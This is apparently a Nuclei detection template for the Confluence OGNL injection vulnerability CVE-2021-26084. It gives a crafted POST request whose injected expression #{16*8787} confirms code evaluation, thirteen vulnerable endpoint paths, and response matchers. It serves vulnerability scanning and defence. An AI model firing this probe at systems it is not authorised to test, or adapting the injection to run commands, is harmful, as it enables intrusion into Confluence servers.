69 lines
3.0 KiB
YAML
69 lines
3.0 KiB
YAML
id: CVE-2021-26084
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info:
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name: Confluence Server - Remote Code Execution
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author: dhiyaneshDk,philippedelteil
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severity: critical
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description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
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remediation: |
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Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
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reference:
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- https://jira.atlassian.com/browse/CONFSERVER-67940
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- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
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- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
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- https://github.com/Udyz/CVE-2021-26084
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-26084
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cwe-id: CWE-917
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epss-score: 0.9723
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epss-percentile: 0.998
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cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
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metadata:
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max-request: 13
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vendor: atlassian
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product: confluence_data_center
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shodan-query: http.component:"Atlassian Confluence"
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tags: cve,cve2021,rce,confluence,injection,ognl,kev,atlassian
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http:
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- raw:
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- |
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POST /{{path}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
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payloads:
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path:
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- pages/createpage-entervariables.action?SpaceKey=x
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- pages/createpage-entervariables.action
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- confluence/pages/createpage-entervariables.action?SpaceKey=x
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- confluence/pages/createpage-entervariables.action
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- wiki/pages/createpage-entervariables.action?SpaceKey=x
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- wiki/pages/createpage-entervariables.action
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- pages/doenterpagevariables.action
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- pages/createpage.action?spaceKey=myproj
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- pages/templates2/viewpagetemplate.action
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- pages/createpage-entervariables.action
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- template/custom/content-editor
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- templates/editor-preload-container
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- users/user-dark-features
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'value="aaaa{140592=null}'
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502202a862ccaec1bf0882ebd81abb6c9978d828f3324cf76f51ce9ed701e296d60b2022100c86c51ee8bed26e330ee8133993153b848360c9ea29e149836496423de38b0a9:922c64590222798bb761d5b6d8e72950 |